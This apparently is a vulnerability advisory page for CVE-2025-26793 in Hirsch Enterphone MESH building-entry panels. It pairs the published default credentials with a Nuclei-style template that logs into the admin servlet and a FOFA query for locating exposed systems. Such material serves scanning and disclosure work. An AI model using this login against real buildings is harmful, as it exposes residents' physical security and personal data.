CVE-2025-26793: FREEDOM Administration - Default Login

日期: 2025-08-01 | 影响软件: FREEDOM Administration | POC: 已公开

漏洞描述

The Web GUI configuration panel of Hirsch (formerly Identiv and Viscount) Enterphone MESH through 2024 ships with default credentials (username freedom, password viscount). The administrator is not prompted to change these credentials on initial configuration, and changing the credentials requires many steps. Attackers can use the credentials over the Internet via mesh.webadmin.MESHAdminServlet to gain access to dozens of Canadian and U.S. apartment buildings and obtain building residents' PII. NOTE- the Supplier's perspective is that the "vulnerable systems are not following manufacturers' recommendations to change the default password."

PoC代码[已公开]

id: CVE-2025-26793

info:
  name: FREEDOM Administration - Default Login
  author: Eric Daigle,DhiyaneshDK
  severity: critical
  description: |
    The Web GUI configuration panel of Hirsch (formerly Identiv and Viscount) Enterphone MESH through 2024 ships with default credentials (username freedom, password viscount). The administrator is not prompted to change these credentials on initial configuration, and changing the credentials requires many steps. Attackers can use the credentials over the Internet via mesh.webadmin.MESHAdminServlet to gain access to dozens of Canadian and U.S. apartment buildings and obtain building residents' PII. NOTE- the Supplier's perspective is that the "vulnerable systems are not following manufacturers' recommendations to change the default password."
  reference:
    - https://www.ericdaigle.ca/posts/breaking-into-dozens-of-apartments-in-five-minutes/
    - https://news.ycombinator.com/item?id=43160884
    - https://support.identiv.com/products/physical-access/hirsch/
  classification:
    epss-score: 0.14653
    epss-percentile: 0.94252
  metadata:
    verified: true
    max-request: 1
    fofa-query: title="FREEDOM Administration"
  tags: cve,cve2025,freedom,admin,mesh,vkev

variables:
  username: "freedom"
  password: "viscount"

http:
  - raw:
      - |
        POST /mesh/servlet/mesh.webadmin.MESHAdminServlet?requestedAction=login HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        formLoginName={{username}}&formLoginPassword={{password}}

    redirects: true

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "Administration: Controlled Areas"
          - "Log Out"
        condition: and

      - type: status
        status:
          - 200
# digest: 4a0a00473045022100d5ac55c20b90d9703579d31a046bda7a5618aa77cd8c136d2416bc2ec2a82363022039b618b574aba2b57a0bb93177bebcbd5898ea5a86cf4e0a7f461ccd26779c64:922c64590222798bb761d5b6d8e72950